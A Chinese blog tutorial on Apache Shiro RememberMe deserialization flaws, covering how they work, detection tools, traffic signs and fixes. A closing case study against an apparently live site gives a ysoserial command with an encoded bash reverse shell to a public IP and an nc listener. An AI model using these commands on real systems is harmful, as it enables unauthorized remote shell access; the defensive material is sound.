红蓝对抗中经常被利用的漏洞:shiro反序列化你了解吗?
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
一.shiro反序列化漏洞介绍
1.漏洞简介
Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。
2.漏洞原理
Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:
检索RememberMe Cookie的值
Base 64解码
AES解密(加密密钥硬编码)
进行反序列化操作(未过滤处理)
攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。
3.漏洞防御
升级Shiro到最新版本 WAF拦截Cookie中长度过大的rememberMe值 更改默认密钥
二.Shiro反序列化漏洞识别
1.漏洞检测
1.1验证Shiro框架
首先,使用BurpSuite进行抓包,在请求包中的cookie字段中添加rememberMe=123;,看响应包header中是否返回rememberMe=deleteMe值,若有,则证明该系统使用了Shiro框架。
2. Burp Shiro 漏洞检测插件
BurpShiroPassiveScan 点击下载 提取码:j43f
在BurpSuite的扩展(Extend)中安装并启动Shiro检测插件
当BurpSuite抓取到Shiro的数据包时会自动进行检测Key,当发现存在Shiro默认key时会有相应的告警
3. Shiro 漏洞检测工具
3.1 工具一:ShiroExploit By 飞鸿
使用工具检测 Shiro-550 漏洞
选择漏洞检测方式
注意在使用回显进行漏洞检测时,会在目标网站上自动生成一个文件其中记录了执行命令的结果,所以不建议在正式环境测试中使用这种检测方式。
检测到目标存在Shiro反序列化漏洞
3.2 工具二:shiro_attack By j1anFen
使用shiro_attack进行爆破Shiro密钥检测漏洞,当目标系统存在漏洞时
2.流量特征
未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段
登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段
不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段
勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段
三.修复方法
1.利用过程
hiro默认使用了CookieRememberMeManager,其处理cookie的流程是:
得到rememberMe的cookie值 –> Base64解码 –> AES解密 –> 反序列化
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
payload 构造的顺序则就是相对的反着来:
恶意命令–>序列化–>AES加密–>base64编码–>发送cookie
在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。
2.修复方法
2.1shiro-550
在v1.2.4版本时候爆出的严重的Java反序列化漏洞,具体看:https://issues.apache.org/jira/browse/SHIRO-550。
这个漏洞的成因是shiro的rememberMe功能AES密钥硬编码在代码中,造成密钥泄露。使得恶意攻击者可以利用系统在用户登录并勾选了“记住我”时所生成cookie的流程,构造恶意cookie,服务器收到该cookie后解析出的命令可能会造成信息泄露等安全风险。
我手头项目的管理系统是基于开源的若依管理系统,shiro的秘钥也是硬编码在代码里边的,在github上搜索下就可以拿到(/汗)。而且github上用这个秘钥搜索,居然搜到1K+代码段(/狂汗),很多使用的差不多,拷贝粘贴??
解决办法:官方在v1.2.5版本已经解决了这个漏洞,所以需要升级shiro版本,并且,重要的一点–>> 去掉或者替换默认的秘钥。
以若依shiro配置(ShiroConfig.java)来看,具体在初始化CookieRememberMeManager时候设置。
a.去掉默认秘钥
在ShiroConfig类里边,在上图方法里边将第4行注释即可。
B.替换默认秘钥,这里可以自定义一个,或者使用下边自动生成的方式。
新建类GenerateCipherKey,添加静态方法getCipherKey()。
在初始化CookieRememberMeManager时候调用。
2.2shiro-721
这个漏洞还是Java反序列化问题,比较严重,并且影响范围也很广,涉及到的版本也很多,具体看下图。
这个漏洞的成因是使用AES加密模式CBC导致的。详细情况官方已给出:
RememberMe使用AES-128-CBC模式加密,容易受到Padding Oracle攻击,AES的初始化向量iv就是rememberMe的base64解码后的前16个字节,攻击者只要使用有效的RememberMe cookie作为Padding Oracle Attack 的前缀,然后就可以构造RememberMe进行反序列化攻击,就像SHIRO-550漏洞一样。
具体利用这个漏洞攻击方式和原理,大家可以参考下文章:《从更深层面看Shiro Padding Oracle漏洞》(https://www.anquanke.com/post/id/203869)
解决办法:升级shiro版本大于等于v1.4.2。
四.实战案例
1.网站环境
域名:http://manage.xxxxxx.org.cn/xxx /login.jsp
程序语言:jsp
这仅仅是一个登录框的测试。
2.探测登录框架
开启神奇Burp,抓包,通过返回包的情况来进行分析(敏感信息打码)
3.步入洞点
当看到关键字rememberMe=deleteMe;,你是否就会想起Shiro反序列化漏洞,那么我们现在用实验室的集成脚本进行测试,是否存在Shiro反序列化漏洞。这里相当于先提供POC测试。
首先burp做监听器:
然后使用脚本进行测试:
经过测试,是存在Shiro反序列化漏洞的。
4.深入探测Shiro反序列化漏洞
这边的目的,就是危害最大程度,那么我就继续进行测试,最严重的模式,也就是直接拿到主机shell,这边也提供最详细的操作,以及遇到的一些坑点作为分享。
思路:一台公网的vps做监听,配合burp发送payload,然后获取shell。
4.1在公网 vps 执行下列命令:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “反弹shell的命令”
这里的命令,需要使用 Java Runtime 配合 bash 编码。
bash -i > /dev/tcp/ip/port 0>& 1
最终执行命令为:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1066 CommonsCollections5 “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMTIuNjQuODcuMy8xMjM0IDA+JiAx}|{base64,-d}|{bash,-i}”
这里的CommonsCollections,分为1-10模块进行测试,这边使用模块5进行渗透。
4.2使用 exp 生成 payload
Python exp.py 公网ip:port(这边有一点要避雷)
4.3公网 vps 开启 nc 监听
Nc -lvp 1234 (监听1234端口)
4.4抓任意 http 数据包,在 cookie 中追加 payload。GoGoGo
4.5成功拿到shell
五.总结
在shiro≤1.2.4版本,默认使CookieRememberMeManager,由于AES使用的key泄露,导致反序化的cookie可控,从而引发反序化攻击。(理论上只要AES加密钥泄,都会导致反序化)
原创文章,作者:mOon,如若转载,请注明出处:https://www.moonsec.com/6358.html